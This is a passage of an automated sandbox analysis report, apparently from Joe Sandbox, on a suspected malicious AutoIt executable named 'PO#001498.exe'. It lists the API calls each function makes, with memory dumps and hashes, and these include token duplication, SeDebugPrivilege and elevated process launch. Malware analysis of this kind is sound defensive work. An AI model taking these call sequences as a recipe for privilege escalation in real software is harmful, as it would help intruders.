                                                                                                                                                                                                        • keybd_event.USER32(00000012,00000000), ref: 0043768B
                                                                                                                                                                                                        • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437699
                                                                                                                                                                                                        • keybd_event.USER32(00000012,00000000), ref: 004376A2
                                                                                                                                                                                                        • SetForegroundWindow.USER32(?), ref: 004376AD
                                                                                                                                                                                                        • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376CD
                                                                                                                                                                                                        • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376D3
                                                                                                                                                                                                        • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376D9
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Thread$Window$AttachInput$ForegroundVirtualkeybd_event$Process$CurrentFindIconicShow
                                                                                                                                                                                                        • String ID: Shell_TrayWnd
                                                                                                                                                                                                        • API String ID: 3778422247-2988720461
                                                                                                                                                                                                        • Opcode ID: ec12ba9e870cc2e5dd85ad52799cb15a6745d125a488419c4f0ebb71fc1ee38e
                                                                                                                                                                                                        • Instruction ID: 6108fbe056c1a000d5481f33e03d330ccc862392245923d3170deea12ea07584
                                                                                                                                                                                                        • Opcode Fuzzy Hash: ec12ba9e870cc2e5dd85ad52799cb15a6745d125a488419c4f0ebb71fc1ee38e
                                                                                                                                                                                                        • Instruction Fuzzy Hash: AC31A4712803157FE6245BA59D0EF7F3F9CEB48B51F10082EFA02EA1D1DAE458009B79
                                                                                                                                                                                                        Function 004461ED Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 227processCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • _memset.LIBCMT ref: 0044621B
                                                                                                                                                                                                        • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,?,?,?,?,?,?,?), ref: 00446277
                                                                                                                                                                                                        • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0044628A
                                                                                                                                                                                                        • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 004462A4
                                                                                                                                                                                                        • GetProcessWindowStation.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 004462BD
                                                                                                                                                                                                        • SetProcessWindowStation.USER32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004462C8
                                                                                                                                                                                                        • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 004462E4
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 0044639E
                                                                                                                                                                                                          • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                                        • _wcsncpy.LIBCMT ref: 004463C7
                                                                                                                                                                                                        • LoadUserProfileW.USERENV(?,00000000,00000000,?,?,00000000,?,?,?,?), ref: 004463E7
                                                                                                                                                                                                        • CreateEnvironmentBlock.USERENV(?,?,00000000,00000000,?,?,00000000,?,?,?,?), ref: 00446408
                                                                                                                                                                                                        • CreateProcessAsUserW.ADVAPI32(?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,00000000,?,?,00000000,?), ref: 00446446
                                                                                                                                                                                                        • UnloadUserProfile.USERENV(?,?,?,?,?,?,?), ref: 00446483
                                                                                                                                                                                                        • CloseWindowStation.USER32(00000000,?,?,?,?), ref: 00446497
                                                                                                                                                                                                        • CloseDesktop.USER32(00000000,?,?,?,?), ref: 0044649E
                                                                                                                                                                                                        • SetProcessWindowStation.USER32(?,?,?,?,?), ref: 004464A9
                                                                                                                                                                                                        • CloseHandle.KERNEL32(?,?,?,?,?), ref: 004464B4
                                                                                                                                                                                                        • DestroyEnvironmentBlock.USERENV(?,?,?,?,?,?), ref: 004464C8
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: StationWindow$CloseProcess$User$BlockCreateDesktopEnvironmentHandleOpenProfile$DestroyDuplicateLoadTokenUnload_malloc_memset_wcslen_wcsncpy
                                                                                                                                                                                                        • String ID: $default$winsta0
                                                                                                                                                                                                        • API String ID: 2173856841-1027155976
                                                                                                                                                                                                        • Opcode ID: 46fbf0c91f7472a5aacc8247470ef491aaba77adfafaecf219e6b528db50d2b4
                                                                                                                                                                                                        • Instruction ID: eafd5d154f9bcf2590b8f8eb1e0f3d39b01f77f2fd200ee1cb9c7344d9c52646
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 46fbf0c91f7472a5aacc8247470ef491aaba77adfafaecf219e6b528db50d2b4
                                                                                                                                                                                                        • Instruction Fuzzy Hash: DD819170208341AFE724DF65C848B6FBBE8AF89744F04491DF69097291DBB8D805CB6B
                                                                                                                                                                                                        Function 0044BD29 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 178filestringCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\PO#001498.exe,?,C:\Users\user\Desktop\PO#001498.exe,004A8E80,C:\Users\user\Desktop\PO#001498.exe,0040F3D2), ref: 0040FFCA
                                                                                                                                                                                                          • Part of subcall function 00436A1D: __wsplitpath.LIBCMT ref: 00436A45
                                                                                                                                                                                                          • Part of subcall function 00436A1D: __wsplitpath.LIBCMT ref: 00436A6C
                                                                                                                                                                                                          • Part of subcall function 00436A1D: __wcsicoll.LIBCMT ref: 00436A93
                                                                                                                                                                                                          • Part of subcall function 00436AC4: GetFileAttributesW.KERNEL32(?,0044BD82,?,?,?), ref: 00436AC9
                                                                                                                                                                                                        • _wcscat.LIBCMT ref: 0044BD96
                                                                                                                                                                                                        • _wcscat.LIBCMT ref: 0044BDBF
                                                                                                                                                                                                        • __wsplitpath.LIBCMT ref: 0044BDEC
                                                                                                                                                                                                        • FindFirstFileW.KERNEL32(?,?), ref: 0044BE04
                                                                                                                                                                                                        • _wcscpy.LIBCMT ref: 0044BE73
                                                                                                                                                                                                        • _wcscat.LIBCMT ref: 0044BE85
                                                                                                                                                                                                        • _wcscat.LIBCMT ref: 0044BE97
                                                                                                                                                                                                        • lstrcmpiW.KERNEL32(?,?), ref: 0044BEC3
                                                                                                                                                                                                        • DeleteFileW.KERNEL32(?), ref: 0044BED5
                                                                                                                                                                                                        • MoveFileW.KERNEL32(?,?), ref: 0044BEF5
                                                                                                                                                                                                        • CopyFileW.KERNEL32(?,?,00000000), ref: 0044BF0C
                                                                                                                                                                                                        • DeleteFileW.KERNEL32(?), ref: 0044BF17
                                                                                                                                                                                                        • CopyFileW.KERNEL32(?,?,00000000), ref: 0044BF2E
                                                                                                                                                                                                        • FindClose.KERNEL32(00000000), ref: 0044BF35
                                                                                                                                                                                                        • MoveFileW.KERNEL32(?,?), ref: 0044BF51
                                                                                                                                                                                                        • FindNextFileW.KERNEL32(00000000,00000010), ref: 0044BF66
                                                                                                                                                                                                        • FindClose.KERNEL32(00000000), ref: 0044BF7E
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: File$Find_wcscat$__wsplitpath$CloseCopyDeleteMove$AttributesFirstFullNameNextPath__wcsicoll_wcscpylstrcmpi
                                                                                                                                                                                                        • String ID: \*.*
                                                                                                                                                                                                        • API String ID: 2188072990-1173974218
                                                                                                                                                                                                        • Opcode ID: 37b83e77465c63a9a0fc5a2f65b261a2e9867c78515d1bc57cb11e6e3b171851
                                                                                                                                                                                                        • Instruction ID: 14f7055b3521afb04026f42b490306401b0ba37f80ed0ea0ca267746d8cc4687
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 37b83e77465c63a9a0fc5a2f65b261a2e9867c78515d1bc57cb11e6e3b171851
                                                                                                                                                                                                        • Instruction Fuzzy Hash: CA5166B2008344AAD720DBA4DC44FDF73E8AB85314F448D1EF68982141EB79D64CCBAA
                                                                                                                                                                                                        Function 0042039F Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 282timeCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • __invoke_watson.LIBCMT ref: 004203A4
                                                                                                                                                                                                          • Part of subcall function 00417D93: _memset.LIBCMT ref: 00417DBB
                                                                                                                                                                                                          • Part of subcall function 00417D93: IsDebuggerPresent.KERNEL32(?,?,00000314), ref: 00417E6F
                                                                                                                                                                                                          • Part of subcall function 00417D93: SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,00000314), ref: 00417E79
                                                                                                                                                                                                          • Part of subcall function 00417D93: UnhandledExceptionFilter.KERNEL32(?,?,?,00000314), ref: 00417E86
                                                                                                                                                                                                          • Part of subcall function 00417D93: GetCurrentProcess.KERNEL32(C0000417,?,?,00000314), ref: 00417EA1
                                                                                                                                                                                                          • Part of subcall function 00417D93: TerminateProcess.KERNEL32(00000000,?,?,00000314), ref: 00417EA8
                                                                                                                                                                                                        • __get_daylight.LIBCMT ref: 004203B0
                                                                                                                                                                                                        • __invoke_watson.LIBCMT ref: 004203BF
                                                                                                                                                                                                        • __get_daylight.LIBCMT ref: 004203CB
                                                                                                                                                                                                        • __invoke_watson.LIBCMT ref: 004203DA
                                                                                                                                                                                                        • ____lc_codepage_func.LIBCMT ref: 004203E2
                                                                                                                                                                                                        • _strlen.LIBCMT ref: 00420442
                                                                                                                                                                                                        • __malloc_crt.LIBCMT ref: 00420449
                                                                                                                                                                                                        • _strlen.LIBCMT ref: 0042045F
                                                                                                                                                                                                        • _strcpy_s.LIBCMT ref: 0042046D
                                                                                                                                                                                                        • __invoke_watson.LIBCMT ref: 00420482
                                                                                                                                                                                                        • GetTimeZoneInformation.KERNEL32(00496C28), ref: 004204AA
                                                                                                                                                                                                        • WideCharToMultiByte.KERNEL32(?,?,00496C2C,?,?,0000003F,?,?), ref: 00420528
                                                                                                                                                                                                        • WideCharToMultiByte.KERNEL32(?,?,00496C80,000000FF,?,0000003F,?,?,?,00496C2C,?,?,0000003F,?,?), ref: 0042055C
                                                                                                                                                                                                          • Part of subcall function 00413A88: __lock.LIBCMT ref: 00413AA6
                                                                                                                                                                                                          • Part of subcall function 00413A88: ___sbh_find_block.LIBCMT ref: 00413AB1
                                                                                                                                                                                                          • Part of subcall function 00413A88: ___sbh_free_block.LIBCMT ref: 00413AC0
                                                                                                                                                                                                          • Part of subcall function 00413A88: RtlFreeHeap.NTDLL(00000000,00411739,0048C758,0000000C,004183E8,00000000,0048CA38,0000000C,00418422,00411739,?,?,004224D3,00000004,0048CCA0,0000000C), ref: 00413AF0
                                                                                                                                                                                                          • Part of subcall function 00413A88: GetLastError.KERNEL32(?,004224D3,00000004,0048CCA0,0000000C,00417011,00411739,?,00000000,00000000,00000000,?,00416C24,00000001,00000214), ref: 00413B01
                                                                                                                                                                                                        • __invoke_watson.LIBCMT ref: 004205CC
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __invoke_watson$ByteCharExceptionFilterMultiProcessUnhandledWide__get_daylight_strlen$CurrentDebuggerErrorFreeHeapInformationLastPresentTerminateTimeZone____lc_codepage_func___sbh_find_block___sbh_free_block__lock__malloc_crt_memset_strcpy_s
                                                                                                                                                                                                        • String ID: S\
                                                                                                                                                                                                        • API String ID: 4084823496-393906132
                                                                                                                                                                                                        • Opcode ID: dc5610741a0148f7786b6b9dfa96f50a6ae589fbdbcd52e429fe3139d0279a48
                                                                                                                                                                                                        • Instruction ID: b357f19af7064e56bcdb8625987f67de7edc2332d57e558cb2e7b84f91b73af7
                                                                                                                                                                                                        • Opcode Fuzzy Hash: dc5610741a0148f7786b6b9dfa96f50a6ae589fbdbcd52e429fe3139d0279a48
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 6A91D371E00125AFDB20EF65EC819AE7BE9EF55300B95003BF540A7253DA3C89828F5C
                                                                                                                                                                                                        Function 00434D50 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 114fileCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00434D75
                                                                                                                                                                                                        • __swprintf.LIBCMT ref: 00434D91
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 00434D9B
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 00434DB0
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 00434DC5
                                                                                                                                                                                                        • CreateDirectoryW.KERNEL32(?,00000000), ref: 00434DD7
                                                                                                                                                                                                        • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00434E0A
                                                                                                                                                                                                        • _memset.LIBCMT ref: 00434E27
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 00434E3C
                                                                                                                                                                                                        • _wcsncpy.LIBCMT ref: 00434E6F
                                                                                                                                                                                                        • DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00434EA9
                                                                                                                                                                                                        • CloseHandle.KERNEL32(00000000), ref: 00434EB4
                                                                                                                                                                                                        • RemoveDirectoryW.KERNEL32(?), ref: 00434EBB
                                                                                                                                                                                                        • CloseHandle.KERNEL32(00000000), ref: 00434ECE
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _wcslen$CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
                                                                                                                                                                                                        • String ID: :$\$\??\%s
                                                                                                                                                                                                        • API String ID: 302090198-3457252023
                                                                                                                                                                                                        • Opcode ID: 1623bec2b974bb3ee5261838648fb58b2a9d6db5aa255760d49714c370e47f4e
                                                                                                                                                                                                        • Instruction ID: 730b2dca1b6b09bd6b76555d3316dee95f4818bcffb97f26f8f03165767cfd2f
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 1623bec2b974bb3ee5261838648fb58b2a9d6db5aa255760d49714c370e47f4e
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 30416676604340ABE330EB64DC49FEF73E8AFD8714F00891EF649921D1E7B4A645876A
                                                                                                                                                                                                        Function 00464422 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 193threadCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 00444233: _wcslen.LIBCMT ref: 0044424E
                                                                                                                                                                                                        • OpenProcess.KERNEL32(00000001,00000000,?), ref: 0046449E
                                                                                                                                                                                                        • GetLastError.KERNEL32 ref: 004644B4
                                                                                                                                                                                                        • GetCurrentThread.KERNEL32 ref: 004644C8
                                                                                                                                                                                                        • OpenThreadToken.ADVAPI32(00000000), ref: 004644CF
                                                                                                                                                                                                        • GetCurrentProcess.KERNEL32(00000028,?), ref: 004644E0
                                                                                                                                                                                                        • OpenProcessToken.ADVAPI32(00000000), ref: 004644E7
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: OpenProcess$CurrentThreadToken$ErrorLast_wcslen
                                                                                                                                                                                                        • String ID: SeDebugPrivilege
                                                                                                                                                                                                        • API String ID: 1312810259-2896544425
                                                                                                                                                                                                        • Opcode ID: bb2abcbadcb50e0008f3b1fe3e217bfa736f6ade076d8095da49bf04f95d98f8
                                                                                                                                                                                                        • Instruction ID: c3f5e6af55eb0da9fa74db60d4f5a84adac3a89a74612fbe59a223ef38337450
                                                                                                                                                                                                        • Opcode Fuzzy Hash: bb2abcbadcb50e0008f3b1fe3e217bfa736f6ade076d8095da49bf04f95d98f8
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 0E51A171200201AFD710DF65DD85F5BB7A8AB84704F10892EFB44DB2C1D7B8E844CBAA
                                                                                                                                                                                                        Function 0040D6D0 Relevance: 28.1, APIs: 11, Strings: 5, Instructions: 141windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetCurrentDirectoryW.KERNEL32(00000104,?,00000001,?,00000000), ref: 0040D6E5
                                                                                                                                                                                                          • Part of subcall function 00401F80: GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\PO#001498.exe,00000104,?,?,?,?,00000000), ref: 00401FAD
                                                                                                                                                                                                          • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 00402078
                                                                                                                                                                                                          • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 0040208E
                                                                                                                                                                                                          • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 004020A4
                                                                                                                                                                                                          • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 004020BA
                                                                                                                                                                                                          • Part of subcall function 00401F80: _wcscpy.LIBCMT ref: 004020EF
                                                                                                                                                                                                        • IsDebuggerPresent.KERNEL32(?), ref: 0040D6F1
                                                                                                                                                                                                        • GetFullPathNameW.KERNEL32(C:\Users\user\Desktop\PO#001498.exe,00000104,?,004A7CF8,004A7CFC), ref: 0040D763
                                                                                                                                                                                                          • Part of subcall function 00401440: GetFullPathNameW.KERNEL32(?,00000104,?,00000000), ref: 00401483
                                                                                                                                                                                                        • SetCurrentDirectoryW.KERNEL32(?,00000001,C:\Users\user\Desktop\PO#001498.exe,00000004), ref: 0040D7D6
                                                                                                                                                                                                        • MessageBoxA.USER32(00000000,This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.,004846D6,00000010), ref: 00431AAB
                                                                                                                                                                                                        • SetCurrentDirectoryW.KERNEL32(?,C:\Users\user\Desktop\PO#001498.exe,00000004), ref: 00431B0E
                                                                                                                                                                                                        • GetModuleFileNameW.KERNEL32(00000000,?,00000104,C:\Users\user\Desktop\PO#001498.exe,00000004), ref: 00431B3F
                                                                                                                                                                                                        • GetForegroundWindow.USER32(runas,?,?,?,00000001), ref: 00431B8B
                                                                                                                                                                                                        • ShellExecuteW.SHELL32(00000000), ref: 00431B92
                                                                                                                                                                                                          • Part of subcall function 004101F0: GetSysColorBrush.USER32(0000000F), ref: 004101F9
                                                                                                                                                                                                          • Part of subcall function 004101F0: LoadCursorW.USER32(00000000,00007F00), ref: 00410209
                                                                                                                                                                                                          • Part of subcall function 004101F0: LoadIconW.USER32(?,00000063), ref: 0041021F
                                                                                                                                                                                                          • Part of subcall function 004101F0: LoadIconW.USER32(?,000000A4), ref: 00410232
                                                                                                                                                                                                          • Part of subcall function 004101F0: LoadIconW.USER32(?,000000A2), ref: 00410245
                                                                                                                                                                                                          • Part of subcall function 004101F0: LoadImageW.USER32(?,00000063,00000001,00000010,00000010,00000000), ref: 0041026A
                                                                                                                                                                                                          • Part of subcall function 004101F0: RegisterClassExW.USER32 ref: 004102C6
                                                                                                                                                                                                          • Part of subcall function 004103E0: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,?,00000000), ref: 00410415
                                                                                                                                                                                                          • Part of subcall function 004103E0: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000), ref: 0041043E
                                                                                                                                                                                                          • Part of subcall function 004103E0: ShowWindow.USER32(?,00000000), ref: 00410454
                                                                                                                                                                                                          • Part of subcall function 004103E0: ShowWindow.USER32(?,00000000), ref: 0041045E
                                                                                                                                                                                                          • Part of subcall function 0040E1E0: _memset.LIBCMT ref: 0040E202
                                                                                                                                                                                                          • Part of subcall function 0040E1E0: Shell_NotifyIconW.SHELL32(00000000,?), ref: 0040E2C7
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: LoadWindow$IconName__wcsicoll$CurrentDirectory$CreateFileFullModulePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memset_wcscpy
                                                                                                                                                                                                        • String ID: @GH$@GH$C:\Users\user\Desktop\PO#001498.exe$This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.$runas
                                                                                                                                                                                                        • API String ID: 2493088469-25601192
                                                                                                                                                                                                        • Opcode ID: 69cfb0be49d24e5250ef6e64c59b5ea2b0a961f7c54b5140d3e7fdea8d41d4c7
                                                                                                                                                                                                        • Instruction ID: f6e0ab4c143dd9a1f797559286fb6c41f0380d60009eb7dc722615656bf0e84e
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 69cfb0be49d24e5250ef6e64c59b5ea2b0a961f7c54b5140d3e7fdea8d41d4c7
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 0341F731618341ABD320F7A19C49BAF3BA4AB96704F04493FF941672D1DBBC9949C72E
                                                                                                                                                                                                        Function 004037E0 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 359COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                                        • GetCurrentDirectoryW.KERNEL32(00000104,?,?), ref: 00403871
                                                                                                                                                                                                        • GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00403887
                                                                                                                                                                                                        • __wsplitpath.LIBCMT ref: 004038B2
                                                                                                                                                                                                          • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                                                                                                                        • _wcscpy.LIBCMT ref: 004038C7
                                                                                                                                                                                                        • _wcscat.LIBCMT ref: 004038DC
                                                                                                                                                                                                        • SetCurrentDirectoryW.KERNEL32(?), ref: 004038EC
                                                                                                                                                                                                          • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                                          • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                                                          • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                                                          • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                                                          • Part of subcall function 00403F40: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,?,?,0040397D,?,?,00000010), ref: 00403F54
                                                                                                                                                                                                          • Part of subcall function 00403F40: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,00000010), ref: 00403F8B
                                                                                                                                                                                                        • _wcscpy.LIBCMT ref: 004039C2
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 00403A53
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 00403AAA
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        • _, xrefs: 00403B48
                                                                                                                                                                                                        • Unterminated string, xrefs: 0042B9BA
                                                                                                                                                                                                        • #include depth exceeded. Make sure there are no recursive includes, xrefs: 0042B87B
                                                                                                                                                                                                        • Error opening the file, xrefs: 0042B8AC
